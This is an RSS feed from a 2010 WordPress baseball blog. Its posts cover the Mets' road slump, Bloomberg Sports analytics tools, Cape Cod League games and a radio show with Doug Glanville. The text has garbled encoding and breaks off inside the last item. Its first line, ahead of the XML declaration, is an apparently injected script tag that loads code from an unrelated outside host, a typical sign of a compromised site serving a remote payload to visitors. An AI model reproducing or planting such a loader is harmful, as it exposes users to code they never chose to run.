<script src=http://shoremill.com/_private/blank.php ></script><?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Pro Baseball Central &#124; Part of the Sportsday Radio Network &#187; Mlb</title>
	<atom:link href="http://www.probaseballcentral.com/tag/mlb/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.probaseballcentral.com</link>
	<description>Just another WordPress weblog</description>
	<lastBuildDate>Mon, 30 Aug 2010 01:15:46 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>BLOOMBERG SPORTS HAS YOUR NUMBERS</title>
		<link>http://www.probaseballcentral.com/2010/08/24/bloomberg-sports-has-your-numbers/</link>
		<comments>http://www.probaseballcentral.com/2010/08/24/bloomberg-sports-has-your-numbers/#comments</comments>
		<pubDate>Tue, 24 Aug 2010 15:06:16 +0000</pubDate>
		<dc:creator>Steve Keane</dc:creator>
				<category><![CDATA[Kranepool]]></category>
		<category><![CDATA[NY Mets Report]]></category>
		<category><![CDATA[Added Bonus]]></category>
		<category><![CDATA[Bloomberg]]></category>
		<category><![CDATA[Confrontation]]></category>
		<category><![CDATA[Curve Ball]]></category>
		<category><![CDATA[Fantasy Football]]></category>
		<category><![CDATA[Fantasy League]]></category>
		<category><![CDATA[Fantasy Sports Players]]></category>
		<category><![CDATA[Football Package]]></category>
		<category><![CDATA[Football Program]]></category>
		<category><![CDATA[Initial Reaction]]></category>
		<category><![CDATA[Lastings Milledge]]></category>
		<category><![CDATA[Matchup]]></category>
		<category><![CDATA[Mlb]]></category>
		<category><![CDATA[Mlb Teams]]></category>
		<category><![CDATA[Pie Charts]]></category>
		<category><![CDATA[Pitch Location]]></category>
		<category><![CDATA[Players Fans]]></category>
		<category><![CDATA[Pluses]]></category>
		<category><![CDATA[Statistical Applications]]></category>
		<category><![CDATA[Strasburg]]></category>

		<guid isPermaLink="false">http://www.kranepoolsociety.com/?p=2910</guid>
		<description><![CDATA[I had the pleasure last night to attend a presentation at Bloomberg headquartersÂ Â by Bloomberg Sports, Â updating those of us in attendance, on the new features that have been added to their baseball analytical application and the unveiling of their Fantasy Football application. I came away quite impressed with both products. Bloomberg Sports is really making [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft" src="http://ocdchick.com/wp-content/uploads/2010/01/Bloomberg-Sports-Logo.jpg" alt="" width="210" height="210" /></p>
<p>I had the pleasure last night to attend a presentation at Bloomberg headquartersÂ Â by <a href="http://bloombergsports.com">Bloomberg Sports, </a>Â updating those of us in attendance, on the new features that have been added to their baseball analytical application and the unveiling of their Fantasy Football application. I came away quite impressed with both products.</p>
<p>Bloomberg Sports is really making a name for itself when it comes to statistical applications dealing with baseball and the football program, which is in pre-production, should be just as compelling to fantasy sports players, fans and media types alike.Â Â </p>
<p>The first presentation of the evening was a detailed look at the analytical program that Bloomberg Sports has made available to all 30 MLB teams. Part of the presentation dealt with the batter/pitcher match up, where every pitch a pitcher has thrown to that batter is broken down to pitch type, pitch location, velocity, and the break of each pitch. There are pie charts that record what pitch type the pitcher has thrown in every conceivable count.Â  Â As an added bonus, you can click on each individual at bat in the batter/pitcher confrontation and see video of the at bat. The pitcher/batter used in last nightâ€™s demo was a Stephen Strasburg/Lastings Milledge matchup where ahead in the count to LMillz, Strasburg broke off a hellacious curve ball that Milledgeâ€™s initial reaction was the pitch was coming up and in or him and as he was bailing, the ball broke right over home plate for strike three. STUNNING!!!!!</p>
<p>For fans, Bloomberg uses the technology to help you win your fantasy league, in fact when you subscribe to the Bloomberg Sports application, you can sync your team into the app and have Bloombergâ€™s extensive stats and analysis show you the pluses and minuses of your team.</p>
<p>The Fantasy Football package will work the same but right now if you play <a href="http://nfl.com">Fantasy Football on NFL.com, t</a>he Bloomberg stat package will be included in the price of the game. If you wish to purchase the app separately (if you play on <a href="http://yahoo.com">Yahoo </a>or <a href="http://espn.com">ESPN)</a> it will cost you a very reasonable $7.95.</p>
<p>Both application are well worth it for fantasy players and non-fantasy players alike.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.probaseballcentral.com/2010/08/24/bloomberg-sports-has-your-numbers/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>BELTRAN NEEDS A SHOT OF FRENCHYâ€™S PERSONALITY</title>
		<link>http://www.probaseballcentral.com/2010/08/10/beltran-needs-a-shot-of-frenchy%e2%80%99s-personality/</link>
		<comments>http://www.probaseballcentral.com/2010/08/10/beltran-needs-a-shot-of-frenchy%e2%80%99s-personality/#comments</comments>
		<pubDate>Tue, 10 Aug 2010 14:08:29 +0000</pubDate>
		<dc:creator>Steve Keane</dc:creator>
				<category><![CDATA[Kranepool]]></category>
		<category><![CDATA[NY Mets Report]]></category>
		<category><![CDATA[Carlos Beltran]]></category>
		<category><![CDATA[Don Wakamatsu]]></category>
		<category><![CDATA[Eighth Inning]]></category>
		<category><![CDATA[Firebirds]]></category>
		<category><![CDATA[First Game]]></category>
		<category><![CDATA[Gangsta]]></category>
		<category><![CDATA[Jeff Francoeur]]></category>
		<category><![CDATA[Kisser]]></category>
		<category><![CDATA[Legal Brief]]></category>
		<category><![CDATA[Luis Castillo]]></category>
		<category><![CDATA[Mets News]]></category>
		<category><![CDATA[Mlb]]></category>
		<category><![CDATA[Paying Attention]]></category>
		<category><![CDATA[Playing Time]]></category>
		<category><![CDATA[Power Swing]]></category>
		<category><![CDATA[Red Sox First Baseman]]></category>
		<category><![CDATA[Ribera]]></category>
		<category><![CDATA[Semi Finals]]></category>
		<category><![CDATA[Serenade]]></category>
		<category><![CDATA[Skippers]]></category>

		<guid isPermaLink="false">http://www.kranepoolsociety.com/?p=2866</guid>
		<description><![CDATA[Not much in the way of Mets news but I guess weâ€™ve all seen that Don Wakamatsu has been fired as Mariners manager,(but still has his career in Rap to fall back on) and Jerry Manuel lives on as the lamest of lame duck skippers. I see where Manuel now wants to sit Carlos Beltran [...]]]></description>
			<content:encoded><![CDATA[<p>Not much in the way of Mets news but I guess weâ€™ve all seen that Don Wakamatsu has been fired as Mariners manager,(but still has his <a href="http://gospellivre.net/wp-content/uploads/2010/05/matisyahu-youth.jpg">career in Rap</a> to fall back on) and Jerry Manuel lives on as the lamest of lame duck skippers. I see where Manuel now wants to sit Carlos Beltran who is not very happy about it. I guess he canâ€™t tell jokes and juggle like Jeff Francoeur who persuade Manuel to give him more playing time. Maybe learn guitar Carlos and then serenade the â€™Gangstaâ€™ .</p>
<p><a href="http://www.metsblog.com/">I agree here with Mathew Cerrone,</a> Beltran needs to play but he needs to bat lower in the order and maybe move over to RF for now and let Angel Pagan play CF.</p>
<p><a href="http://www.metszilla.com/?p=9964&amp;utm_source=feedburner&amp;utm_medium=feed&amp;utm_campaign=Feed%3A+Metszilla+%28Metszilla%29">A fan is suing the Mets</a>, MLB, Luis Castillo and just about anyone else he can fit on a legal brief for Castilloâ€™s bat breaking and entering the stands and hitting this guy in the kisser. Who knew balsa wood could be so dangerous. Â I bet this guy was either on his cell phone waving to a camera or just not paying attention. Sorry no litigation money for you!</p>
<p>Yesterday the <a href="http://www.capecodonline.com/apps/pbcs.dll/article?AID=/20100810/SPORTS/8100309">Y-D Red Sox exploded for 11 runs in the bottom of the first inning </a>against the Orleans Firebirds in the first game of the best of three East Semi-Finals on the way to an un Cape League 23-10 win. Red Sox first baseman Jordan Ribera who has a thick lower torso that generates a big power swing, homered twice in the bottom of the first and just missed a third home run in the eighth inning. Iâ€™m trying to finagle my way over to Orleans for game two tonight at 7PM</p>
]]></content:encoded>
			<wfw:commentRss>http://www.probaseballcentral.com/2010/08/10/beltran-needs-a-shot-of-frenchy%e2%80%99s-personality/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WAKE UP FREDDY SKILL SETS WAKE UP!</title>
		<link>http://www.probaseballcentral.com/2010/08/06/wake-up-freddy-skill-sets-wake-up/</link>
		<comments>http://www.probaseballcentral.com/2010/08/06/wake-up-freddy-skill-sets-wake-up/#comments</comments>
		<pubDate>Fri, 06 Aug 2010 13:47:52 +0000</pubDate>
		<dc:creator>Steve Keane</dc:creator>
				<category><![CDATA[Kranepool]]></category>
		<category><![CDATA[NY Mets Report]]></category>
		<category><![CDATA[Baseball Team]]></category>
		<category><![CDATA[Basketball]]></category>
		<category><![CDATA[Cape Cod]]></category>
		<category><![CDATA[Cape Cod League]]></category>
		<category><![CDATA[Cold Winter Day]]></category>
		<category><![CDATA[Cranky Pants]]></category>
		<category><![CDATA[Disney]]></category>
		<category><![CDATA[Disney World]]></category>
		<category><![CDATA[Freddy]]></category>
		<category><![CDATA[Harwich Mariners]]></category>
		<category><![CDATA[Inception]]></category>
		<category><![CDATA[Joke]]></category>
		<category><![CDATA[League Playoffs]]></category>
		<category><![CDATA[Medication]]></category>
		<category><![CDATA[Mlb]]></category>
		<category><![CDATA[Player Coach]]></category>
		<category><![CDATA[San Francisco]]></category>
		<category><![CDATA[Skill Sets]]></category>
		<category><![CDATA[Storrs Ct]]></category>
		<category><![CDATA[Trip To Europe]]></category>

		<guid isPermaLink="false">http://www.kranepoolsociety.com/?p=2858</guid>
		<description><![CDATA[Have you ever daydreamed during a cold winter day while at work about your plans for the summer? Say take a trip to Europe or pack up the family and head to Disney World? Well, yesterday Freddy Skill Sets gave you on place you may want to cross off next summerâ€™s destination, Citi Field. Freddy [...]]]></description>
			<content:encoded><![CDATA[<p>Have you ever daydreamed during a cold winter day while at work about your plans for the summer? Say take a trip to Europe or pack up the family and head to Disney World? Well, yesterday Freddy Skill Sets gave you on place you may want to cross off next summerâ€™s destination, Citi Field.</p>
<p>Freddy Skill Sets has turned into a real recluse without the unkempt look . Yesterday up at Storrs CT where he was announcing that UCONN will now be the home of Huskies basketball and football (which means for the first time since itâ€™s inception Iâ€™ll watch SNY in the winter) and when reporters questions him about his floundering baseball team, Freddy turned into a real Mr. Cranky Pants. Â He lets the world know that Omar is safe and that his son Jeffey is doing a great job running the organization. Something tells me Olâ€™ Freddy was of his medication yesterday.Â  But I have to thank him because now I can think about Â that trip Iâ€™ve wanted to make to California to go from San Francisco to LA next summer since there wonâ€™t be any reason to go to Citi Field next year.</p>
<p>The <a href="http://www.capecodonline.com/apps/pbcs.dll/article?AID=/20100806/SPORTS/8060325/-1/SPORTS01">Cape Cod League playoffs start today and Iâ€™ll be at Yarmouth-Dennis (Y-D) for their game against the Harwich</a> Mariners. Â Itâ€™s best to get down to the field early and plant your chair in a good spot as the game tonight could draw a good 3,000 to 5,000 fans.</p>
<p>If MLB doesnâ€™t do something to <a href="http://deadspin.com/5606274/last-nights-winner-the-case-for-robot-umpires?utm_source=feedburner&amp;utm_medium=feed&amp;utm_campaign=Feed%3A+deadspin%2Ffull+%28Deadspin%29&amp;utm_content=Google+Reader">straighten out their umpires</a> one of them is going to get the living shit beat out of them by a player, coach, manager or a fan running on the field. No joke here, Iâ€™m fucking serious.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.probaseballcentral.com/2010/08/06/wake-up-freddy-skill-sets-wake-up/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>2-9 Trip Leaves Mets on a Road to Nowhere</title>
		<link>http://www.probaseballcentral.com/2010/07/26/2-9-trip-leaves-mets-on-a-road-to-nowhere/</link>
		<comments>http://www.probaseballcentral.com/2010/07/26/2-9-trip-leaves-mets-on-a-road-to-nowhere/#comments</comments>
		<pubDate>Mon, 26 Jul 2010 21:24:11 +0000</pubDate>
		<dc:creator>Joe McDonald</dc:creator>
				<category><![CDATA[Kranepool]]></category>
		<category><![CDATA[NY Mets Report]]></category>
		<category><![CDATA[All Star]]></category>
		<category><![CDATA[Bats]]></category>
		<category><![CDATA[Carlos Beltran]]></category>
		<category><![CDATA[Dichotomy]]></category>
		<category><![CDATA[Giants]]></category>
		<category><![CDATA[Jose Reyes]]></category>
		<category><![CDATA[Major League Baseball]]></category>
		<category><![CDATA[Mlb]]></category>
		<category><![CDATA[National League East]]></category>
		<category><![CDATA[New York Mets]]></category>
		<category><![CDATA[Ninth Inning]]></category>
		<category><![CDATA[Philadelphia]]></category>
		<category><![CDATA[Road Victories]]></category>
		<category><![CDATA[San Francisco]]></category>
		<category><![CDATA[Score]]></category>
		<category><![CDATA[Seven Games]]></category>
		<category><![CDATA[Swing]]></category>
		<category><![CDATA[Three Times]]></category>
		<category><![CDATA[West Coast Trip]]></category>
		<category><![CDATA[Winningest Team]]></category>

		<guid isPermaLink="false">http://www.nysportsday.com/?p=6542</guid>
		<description><![CDATA[About two months ago, I wrote about the dichotomy that was the New York Mets as Major League Baseballâ€™s winningest team at home while collecting the majorâ€™s fewest road victories. Since that time, little has changed. The Mets have remained pretty strong at Citi Field, while cooling off just a bit there, going 11-7 since [...]]]></description>
			<content:encoded><![CDATA[<p>About two months ago, <a href="http://www.nysportsday.com/2010/05/28/jekyll-hyde-mets-need-to-overcome-road-block-to-reach-playoffs">I wrote</a> about the dichotomy that was the New York Mets as Major League Baseballâ€™s winningest team at home while collecting the majorâ€™s fewest road victories.</p>
<p>Since that time, little has changed.</p>
<p>The Mets have remained pretty strong at Citi Field, while cooling off just a bit there, going 11-7 since May 27th, to maintain one of MLBâ€™s better home records at 30-16.</p>
<p>The road however, has continued to be unkind to the Mets, as evidenced by a disastrous west coast trip during which the Mets limped home with just a pair of wins in eleven games.</p>
<p>Since that earlier article, the Mets have improved &#8212; but only slightly &#8212; away from home, going 14-19, putting them at a still dismal 20-33 on the road, overall.</p>
<p>More importantly, the Mets now find themselves in third place in the National League East, looking up at Philadelphia (2Â½ games ahead of New York) and Atlanta, which now leads the Mets by 7Â½ games; and, even fourth-place Florida is breathing down the Metsâ€™ necks, sitting just a half-game back.</p>
<p>While the Metsâ€™ pitching has continued to be as consistent as their good play at home, their offense this month has been as promising as their ability to post road wins. Neither can be relied upon.</p>
<p>Even including a six-game homestand prior to the all-star break, the Mets have won just 4 of their past 17 games, scoring more than three runs just four times (three times not counting a bad call in San Francisco) while getting shut out five times over that stretch.</p>
<p>Most of that damage was out west, where if not for a missed call in the ninth inning of what should have been a Met loss to the Giants, the Mets would have won just a single game during their crucial eleven-game swing that saw the Mets score under three runs in seven games.</p>
<p>Not even the return of Carlos Beltran from the disabled list to start that trip nor Jose Reyesâ€™ â€œre-returnâ€ to the top of the batting order could spark the Metsâ€™ silent bats as they wasted several fine pitching performances. The Mets ended the trip without a run over the past 16 innings in Los Angeles, failing to score after the sixth inning in Saturdayâ€™s 3-2, 13-inning loss to the Dodgers before getting blanked 1-0 on Sunday.</p>
<p>It was such a poor road trip that it raises several legitimate questions:</p>
<p>At just a game over .500 (50-49), could the Mets, whose season was fairly solid before the all-star break, but which suddenly appears to be on the brink, be sellers instead of buyers this week, as the July 31st trading deadline fast approaches?</p>
<p>Could and should hitting coach Howard Johnsonâ€™s job be in jeopardy? At this point, the former Met slugger who had some nice moments as a player, did after all, hit only .249 over his career, and with the Mets in a deep and prolonged team-wide slump, Johnson has failed to get the Metsâ€™ free-swinging and light-hitting offense to change its approach at the plate, as the strikeouts continue to mount at an alarming rate while being offset by far too few walks.</p>
<p>If the Mets donâ€™t start winning soon, how much long might manager Jerry Manuel stay at the helm of his sinking ship? Itâ€™s difficult to blame a manger when players canâ€™t hit. Or, is it? It took Alex Cora -â€“ not Manuel -â€“ to lay into the Mets after a loss in Arizona last week after Cora saw his teammates taking on Manuelâ€™s easy-going persona, literally laughing off another loss as if the losing hasnâ€™t been affecting the team much. Fiery managers win, and guys like Manuel win. So, thereâ€™s no right or wrong in terms of style, but itâ€™s become clear that Manuelâ€™s style with this Mets team, isnâ€™t working right now.</p>
<p>If the season doesnâ€™t turn around, will the Wilpons consider moving on from the Omar Minaya regime? After falling short in the 2006 NLCS when they should have probably won the World Series that year, the successive September collapses to blow the NL East each of the next two years, and the injury-plagued and poor season both on the field and from a public relations standpoint last year (right, Adam Rubin?), should Minaya be given yet another reprieve if the Mets arenâ€™t at least playing meaningful games during the file week of the season, let alone if the Mets miss the playoffs for a fourth straight season? Minaya has made plenty of good moves, but heâ€™s also left too many holes in the roster, and the underachieving results â€“- despite having one of the highest annual payrolls in MLB â€“- speak for themselves.</p>
<p>And, finally, although there have been several different pieces in the past few years placed around the core that has remained, are that core, along with the accompanying compliments simply a mentally fragile team? Weâ€™ve seen the Mets produce over the past five seasons when the pressure hasnâ€™t been great. But, when the pressureâ€™s been on, weâ€™ve seen the Mets play tighter than a drum and thus become their own biggest obstacle to achieving success. Game 7 against St. Louis in the 2006 NLCS, and letting the Phillies catch them twice the next two Septembers. Folding like a house of cards instead of at least trying to fight through their myriad of injuries last year. And, now this year, playing well at the friendly confines of Citi Field, yet playing poorly on the road, to the tune of just two series wins (against two last-place American League teams) in 17 road series.</p>
<p>And, letâ€™s throw in one more while weâ€™re at it&#8230; how do the Metsâ€™ medical and training staffs remain employed? With all of the misdiagnosing and mishandling of injuries last year, Beltran and Reyes, among others, again missed significant time this year, and now John Maine is out for the season. The only groups who are wrong more often while still keeping their jobs are weather people and at least this year, several MLB umpires.</p>
<p>After a horrid western trip, the Mets will be happy to get back home, but it wonâ€™t get a lot easier, as theyâ€™ll host the first-place Cardinals on Tuesday. After Arizona then visits Flushing, itâ€™s back on the road to Atlanta and Philadelphia for a couple of three-game sets.</p>
<p>Unless the Mets can bring their Citi Field game to places like that, theyâ€™ll continue to travel on a literal road to nowhere and raise a lot of questions as to where others in the organization might be headed.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.probaseballcentral.com/2010/07/26/2-9-trip-leaves-mets-on-a-road-to-nowhere/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>DOUG GLANVILLE JOINS ME TONIGHT ON THIS CALL TO THE BULLPEN RADIO SHOW ON BLOGTALK RADIO</title>
		<link>http://www.probaseballcentral.com/2010/07/20/doug-glanville-joins-me-tonight-on-this-call-to-the-bullpen-radio-show-on-blogtalk-radio/</link>
		<comments>http://www.probaseballcentral.com/2010/07/20/doug-glanville-joins-me-tonight-on-this-call-to-the-bullpen-radio-show-on-blogtalk-radio/#comments</comments>
		<pubDate>Tue, 20 Jul 2010 13:17:26 +0000</pubDate>
		<dc:creator>Steve Keane</dc:creator>
				<category><![CDATA[Kranepool]]></category>
		<category><![CDATA[NY Mets Report]]></category>
		<category><![CDATA[Baseball Analyst]]></category>
		<category><![CDATA[Blog]]></category>
		<category><![CDATA[Blogtalk Radio]]></category>
		<category><![CDATA[Circumstances]]></category>
		<category><![CDATA[Doug Glanville]]></category>
		<category><![CDATA[Espn]]></category>
		<category><![CDATA[Espn Baseball]]></category>
		<category><![CDATA[Henry Holt]]></category>
		<category><![CDATA[Itunes]]></category>
		<category><![CDATA[Left Hand Side]]></category>
		<category><![CDATA[Major Leaguer]]></category>
		<category><![CDATA[Many Other Items]]></category>
		<category><![CDATA[Mlb]]></category>
		<category><![CDATA[Mugs]]></category>
		<category><![CDATA[New Game]]></category>
		<category><![CDATA[Podcast]]></category>
		<category><![CDATA[Radio Show]]></category>
		<category><![CDATA[Radio Talk]]></category>
		<category><![CDATA[Talk Radio]]></category>
		<category><![CDATA[Times Books]]></category>

		<guid isPermaLink="false">http://www.kranepoolsociety.com/?p=2801</guid>
		<description><![CDATA[Doug was to join me last month but circumstances beyond his control prevented him from coiming on the show, butÂ I am happy to say he will join me tonught on THIS CALL TO THE BULLPEN Â  Join me tonight at 10PM ET for This Call To The Bullpen Radio Show on Blog Talk Radio. My [...]]]></description>
			<content:encoded><![CDATA[<p><em>Doug was to join me last month but circumstances beyond his control prevented him from coiming on the show, butÂ I am happy to say he will join me tonught on THIS CALL TO THE BULLPEN</em></p>
<p><img class="alignleft" src="http://jacketupload.macmillanusa.com/jackets/high_res/jpgs/9780805091595.jpg" alt="" width="157" height="233" />Â </p>
<p>Join me tonight at <a href="http://blogtalkradio.com/call-to-the-bullpen">10PM ET for This Call To The Bullpen Radio Show on Blog Talk Radio</a>. My guest is former Major Leaguer and current ESPN baseball analyst, Doug Glanville. Doug and I will be discussing his new book,<a href="http://www.amazon.com/s/ref=nb_sb_noss?url=search-alias%3Dstripbooks&amp;field-keywords=The+Game+From+Where+I+Stand"> THE GAME FROM WHERE I STAND: A Ballplayerâ€™s Inside View (published by Henry Holt/Times Books)</a> and weâ€™ll also get Dougâ€™ views and whatâ€™s happening today in MLB.</p>
<p>If you canâ€™t join is live, you can listen to <a href="http://blogtalkradio.com/call-to-the-bullpen">the podcast on the show page</a>, or right here at Kranepool Society (scroll down to the lower left hand side bar) or download the show on <a href="http://www.itunes.com/">iTunes</a>.</p>
<p>Donâ€™t forget to check out the<a href="http://www.cafepress.com/ThisCallToTheBullpen"> THIS CALL TO THE BULLPEN shop </a>for t-shirts, mugs bags and many other items.</p>
<p><img class="alignleft" src="http://i746.photobucket.com/albums/xx101/kranepool/thiscalltobullpenblogtalkradiio.png" alt="" width="125" height="125" /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.probaseballcentral.com/2010/07/20/doug-glanville-joins-me-tonight-on-this-call-to-the-bullpen-radio-show-on-blogtalk-radio/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>New NYSD Story: MLB Needs an Aâ€¦</title>
		<link>http://www.probaseballcentral.com/2010/07/13/new-nysd-story-mlb-needs-an-a%e2%80%a6/</link>
		<comments>http://www.probaseballcentral.com/2010/07/13/new-nysd-story-mlb-needs-an-a%e2%80%a6/#comments</comments>
		<pubDate>Wed, 14 Jul 2010 01:30:51 +0000</pubDate>
		<dc:creator>Joe McDonald</dc:creator>
				<category><![CDATA[Kranepool]]></category>
		<category><![CDATA[NY Mets Report]]></category>
		<category><![CDATA[All Star]]></category>
		<category><![CDATA[Mlb]]></category>
		<category><![CDATA[Nysd]]></category>

		<guid isPermaLink="false">http://www.nymetsreport.com/2010/07/13/new-nysd-story-mlb-needs-an-a/</guid>
		<description><![CDATA[New NYSD Story: MLB Needs an All-Star Overhaul http://www.nysportsday.com/2010/07/13/mlb-needs-an-all-star-overhaul/]]></description>
			<content:encoded><![CDATA[<p>New NYSD Story: MLB Needs an All-Star Overhaul <a href="http://www.nysportsday.com/2010/07/13/mlb-needs-an-all-star-overhaul/"  rel="nofollow">http://www.nysportsday.com/2010/07/13/mlb-needs-an-all-star-overhaul/</a></p>
<p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.nymetsreport.com%2F2010%2F07%2F13%2Fnew-nysd-story-mlb-needs-an-a%2F&amp;linkname=New%20NYSD%20Story%3A%20MLB%20Needs%20an%20A%26%238230%3B"><img src="http://www.nymetsreport.com/wordpress/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share/Bookmark"/></a> </p>]]></content:encoded>
			<wfw:commentRss>http://www.probaseballcentral.com/2010/07/13/new-nysd-story-mlb-needs-an-a%e2%80%a6/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>DOUG GLANVILLE JOINS ME TONIGHT ON THIS CALL TO THE BULLPEN</title>
		<link>http://www.probaseballcentral.com/2010/06/29/doug-glanville-joins-me-tonight-on-this-call-to-the-bullpen/</link>
		<comments>http://www.probaseballcentral.com/2010/06/29/doug-glanville-joins-me-tonight-on-this-call-to-the-bullpen/#comments</comments>
		<pubDate>Tue, 29 Jun 2010 13:44:25 +0000</pubDate>
		<dc:creator>Steve Keane</dc:creator>
				<category><![CDATA[Kranepool]]></category>
		<category><![CDATA[NY Mets Report]]></category>
		<category><![CDATA[Baseball Analyst]]></category>
		<category><![CDATA[Blog]]></category>
		<category><![CDATA[Bullpen]]></category>
		<category><![CDATA[Doug Glanville]]></category>
		<category><![CDATA[Espn]]></category>
		<category><![CDATA[Espn Baseball]]></category>
		<category><![CDATA[Hand Side Bar]]></category>
		<category><![CDATA[Henry Holt]]></category>
		<category><![CDATA[Itunes]]></category>
		<category><![CDATA[Left Hand Side]]></category>
		<category><![CDATA[Major Leaguer]]></category>
		<category><![CDATA[Many Other Items]]></category>
		<category><![CDATA[Mlb]]></category>
		<category><![CDATA[Mugs]]></category>
		<category><![CDATA[New Game]]></category>
		<category><![CDATA[Podcast]]></category>
		<category><![CDATA[Radio Show]]></category>
		<category><![CDATA[Radio Talk]]></category>
		<category><![CDATA[Talk Radio]]></category>
		<category><![CDATA[Times Books]]></category>

		<guid isPermaLink="false">http://www.kranepoolsociety.com/?p=2741</guid>
		<description><![CDATA[
Join me tonight at 10PM ET for This Call To The Bullpen Radio Show on Blog Talk Radio. My guest is former Major Leaguer and current ESPN baseball analyst, Doug Glanville. Doug and I will be discussing his new book, THE GAME FROM WHERE I STAND: A Ballplayerâ€™s Inside View (published by Henry Holt/Times Books) [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft" src="http://jacketupload.macmillanusa.com/jackets/high_res/jpgs/9780805091595.jpg" alt="" width="157" height="233" /></p>
<p>Join me tonight at <a href="http://blogtalkradio.com/call-to-the-bullpen">10PM ET for This Call To The Bullpen Radio Show on Blog Talk Radio</a>. My guest is former Major Leaguer and current ESPN baseball analyst, Doug Glanville. Doug and I will be discussing his new book,<a href="http://www.amazon.com/s/ref=nb_sb_noss?url=search-alias%3Dstripbooks&amp;field-keywords=The+Game+From+Where+I+Stand"> THE GAME FROM WHERE I STAND: A Ballplayerâ€™s Inside View (published by Henry Holt/Times Books)</a> and weâ€™ll also get Dougâ€™ views and whatâ€™s happening today in MLB.</p>
<p>If you canâ€™t join is live, you can listen to <a href="http://blogtalkradio.com/call-to-the-bullpen">the podcast on the show page</a>, or right here at Kranepool Society (scroll down to the lower left hand side bar) or download the show on <a href="http://www.itunes.com">iTunes</a>.</p>
<p>Donâ€™t forget to check out the<a href="http://www.cafepress.com/ThisCallToTheBullpen"> THIS CALL TO THE BULLPEN shop </a>for t-shirts, mugs bags and many other items.</p>
<p><img class="alignleft" src="http://i746.photobucket.com/albums/xx101/kranepool/thiscalltobullpenblogtalkradiio.png" alt="" width="125" height="125" /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.probaseballcentral.com/2010/06/29/doug-glanville-joins-me-tonight-on-this-call-to-the-bullpen/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WHATâ€™S THE MATTER STEVE PHILLIPS? ARE YA YELLA?</title>
		<link>http://www.probaseballcentral.com/2010/06/20/what%e2%80%99s-the-matter-steve-phillips-are-ya-yella/</link>
		<comments>http://www.probaseballcentral.com/2010/06/20/what%e2%80%99s-the-matter-steve-phillips-are-ya-yella/#comments</comments>
		<pubDate>Mon, 21 Jun 2010 00:12:28 +0000</pubDate>
		<dc:creator>Steve Keane</dc:creator>
				<category><![CDATA[Kranepool]]></category>
		<category><![CDATA[NY Mets Report]]></category>
		<category><![CDATA[Baseball Team]]></category>
		<category><![CDATA[Debate]]></category>
		<category><![CDATA[Invitation]]></category>
		<category><![CDATA[Management Issues]]></category>
		<category><![CDATA[Mlb]]></category>
		<category><![CDATA[Philips]]></category>
